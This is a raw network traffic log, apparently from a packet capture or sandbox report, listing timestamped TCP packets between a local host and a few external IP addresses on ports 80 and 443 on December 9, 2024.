Dec 9, 2024 21:09:42.460408926 CET	443	49943	104.21.48.1	192.168.2.6
Dec 9, 2024 21:09:42.460517883 CET	443	49943	104.21.48.1	192.168.2.6
Dec 9, 2024 21:09:42.460561991 CET	49943	443	192.168.2.6	104.21.48.1
Dec 9, 2024 21:09:42.460644960 CET	49943	443	192.168.2.6	104.21.48.1
Dec 9, 2024 21:09:42.460652113 CET	443	49943	104.21.48.1	192.168.2.6
Dec 9, 2024 21:09:42.554760933 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:42.554776907 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:42.554807901 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:42.554826975 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:42.558739901 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:42.558793068 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:42.560524940 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:42.560575962 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:42.560811996 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:42.560853958 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:42.584184885 CET	80	49944	185.215.113.206	192.168.2.6
Dec 9, 2024 21:09:42.584237099 CET	49944	80	192.168.2.6	185.215.113.206
Dec 9, 2024 21:09:42.627999067 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:42.628134966 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:42.628199100 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:42.632107973 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:42.632148981 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:42.632266045 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:42.632422924 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:42.640484095 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:42.640537024 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:42.640620947 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:42.640661955 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:42.648925066 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:42.648977041 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:42.649023056 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:42.649137974 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:42.657242060 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:42.657293081 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:42.657457113 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:42.657493114 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:42.665585995 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:42.665819883 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:42.665896893 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:42.666126966 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:42.673923969 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:42.673994064 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:42.674339056 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:42.674429893 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:42.682332993 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:42.682395935 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:42.683223009 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:42.683340073 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:42.690808058 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:42.690908909 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:42.690954924 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:42.691112041 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:42.698426962 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:42.698481083 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:42.698664904 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:42.698709965 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:42.706058979 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:42.706105947 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:42.794327974 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:42.794384003 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:42.794487000 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:42.794543028 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:42.798307896 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:42.798365116 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:42.820528030 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:42.820950031 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:42.821000099 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:42.823061943 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:42.823107958 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:42.823286057 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:42.823374033 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:42.827203989 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:42.827254057 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:42.828191042 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:42.828238964 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:42.831706047 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:42.831788063 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:42.832557917 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:42.832607985 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:42.836262941 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:42.836299896 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:42.836704969 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:42.836750984 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:42.840611935 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:42.840660095 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:42.840723038 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:42.840797901 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:42.845141888 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:42.845201015 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:42.845407963 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:42.845454931 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:42.852135897 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:42.852149010 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:42.852191925 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:42.852215052 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:42.854607105 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:42.854655027 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:42.854911089 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:42.854948044 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:42.859446049 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:42.859625101 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:42.859662056 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:42.859713078 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:42.863620996 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:42.863667011 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:42.864422083 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:42.864481926 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:42.867968082 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:42.868010044 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:42.868283033 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:42.868333101 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:42.872471094 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:42.872847080 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:42.873390913 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:42.873939037 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:42.876377106 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:42.876421928 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:42.876859903 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:42.876904011 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:42.881021023 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:42.881186962 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:42.881253958 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:42.881297112 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:42.885324001 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:42.885468006 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:42.885519028 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:42.886820078 CET	49951	443	192.168.2.6	104.21.48.1
Dec 9, 2024 21:09:42.886843920 CET	443	49951	104.21.48.1	192.168.2.6
Dec 9, 2024 21:09:42.886940956 CET	49951	443	192.168.2.6	104.21.48.1
Dec 9, 2024 21:09:42.887283087 CET	49951	443	192.168.2.6	104.21.48.1
Dec 9, 2024 21:09:42.887298107 CET	443	49951	104.21.48.1	192.168.2.6
Dec 9, 2024 21:09:42.889930964 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:42.890010118 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:42.890299082 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:42.890347958 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:42.894167900 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:42.894222975 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:42.894925117 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:42.895123005 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:42.898632050 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:42.898696899 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:42.898854017 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:42.898907900 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:42.903141975 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:42.903569937 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:42.903656960 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:42.907537937 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:42.907648087 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:42.986500025 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:42.986697912 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:42.986749887 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:42.988823891 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:42.988867998 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:42.989562035 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:42.989605904 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:42.989967108 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:42.990006924 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:42.993875027 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:42.993932009 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.012381077 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.012518883 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.012574911 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.013540030 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.013587952 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.013609886 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.013650894 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.015568018 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.016252041 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.016308069 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.019016981 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.019609928 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.019685984 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.022598982 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.022840977 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.022897959 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.025887012 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.025938988 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.026324034 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.026375055 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.029438972 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.029479980 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.029565096 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.032489061 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.032541990 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.032601118 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.035695076 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.035820007 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.035880089 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.038940907 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.039158106 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.039211988 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.042314053 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.042478085 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.042534113 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.045377970 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.045669079 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.045747042 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.048640966 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.048715115 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.048896074 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.048974037 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.051908970 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.052644014 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.052720070 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.054928064 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.055145979 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.055231094 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.058159113 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.058598042 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.058753014 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.061510086 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.061568975 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.061738014 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.061786890 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.064657927 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.064822912 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.064874887 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.067787886 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.067887068 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.067939043 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.071048975 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.071228027 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.071275949 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.074328899 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.074377060 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.074435949 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.074481010 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.077357054 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.077945948 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.078238010 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.078444004 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.081096888 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.081330061 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.081388950 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.083914995 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.083966970 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.084302902 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.084382057 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.086966038 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.087236881 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.087337971 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.090176105 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.090329885 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.090421915 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.093384981 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.093548059 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.093631029 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.096662998 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.096780062 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.097280979 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.097352982 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.099987984 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.100187063 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.100286961 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.103116989 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.103389978 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.103446960 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.106287003 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.106443882 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.106523037 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.109378099 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.109428883 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.109457970 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.109693050 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.112723112 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.112852097 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.112907887 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.115880013 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.115963936 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.115979910 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.116029978 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.119013071 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.119961023 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.178858995 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.179291964 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.179459095 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.180227041 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.180324078 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.180329084 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.180425882 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.183028936 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.184006929 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.184025049 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.184098959 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.186870098 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.187098980 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.187184095 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.189692974 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.190762997 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.204726934 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.204879045 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.205005884 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.205450058 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.205529928 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.205583096 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.205650091 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.207688093 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.207848072 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.207932949 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.209398985 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.209475994 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.209537029 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.209606886 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.211790085 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.212277889 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.212358952 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.213996887 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.214272976 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.214344978 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.216273069 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.216335058 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.216357946 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.216460943 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.218492985 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.218529940 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.218602896 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.220778942 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.220792055 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.220870972 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.222815990 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.223083973 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.223160982 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.225064039 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.225112915 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.225184917 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.225229979 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.227106094 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.227236986 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.227289915 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.229146004 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.229198933 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.229418039 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.229466915 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.231282949 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.231430054 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.231482029 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.233381987 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.233628988 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.233706951 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.235357046 CET	80	49945	185.215.113.16	192.168.2.6
